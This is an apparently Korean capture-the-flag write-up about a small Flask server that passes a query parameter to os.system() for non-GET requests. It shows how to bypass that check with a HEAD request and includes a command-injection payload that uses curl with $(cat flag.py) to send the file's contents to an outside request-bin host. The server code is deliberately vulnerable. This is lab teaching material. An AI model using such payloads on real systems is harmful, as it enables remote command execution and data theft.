#!/usr/bin/env python3
from flask import Flask, request
import os
app = Flask(__name__)
@app.route('/' , methods=['GET'])
def index():
cmd = request.args.get('cmd', '')
if not cmd:
return "?cmd=[cmd]"
if request.method == 'GET':
''
else:
os.system(cmd)
return cmd
app.run(host='0.0.0.0', port=8000)
cmd
인자에 [cmd]
값을 입력받습니다.request.method
가 GET
이 아니면 os.system()
으로 인자로 들어온 명령어를 실행합니다.먼저 ?cmd=cat flag.py
를 보내면 어떤 값이 전달되는지 burp suite로 봐보겠습니다.
GET
방식으로 cat flag.py
가 전달됩니다.
os.system()
으로 명령어를 실행시킬려면 GET
방식이 아니어야 하기 때문에 HEAD
방식으로 데이터를 보내줘야 할거 같습니다.
그리고 서버에서 명령어를 실행한 결과를 보기 위해 해당 결과를 외부로 전송해줘야 할거 같습니다.
https://tools.dreamhack.games/
사이트의 Request Bin 기능을 사용하면 명령어 실행 결과를 볼 수 있습니다.
burp suite로 Requst 내용을 수정해보면
HEAD /?cmd=curl+https%3a//ahbgmsn.request.dreamhack.games/+-d+"$(cat+flag.py)" HTTP/1.1
수정한 Request를 보내보면
cat flag.py
가 실행되어 FLAG값이 출력된 것을 볼 수 있습니다.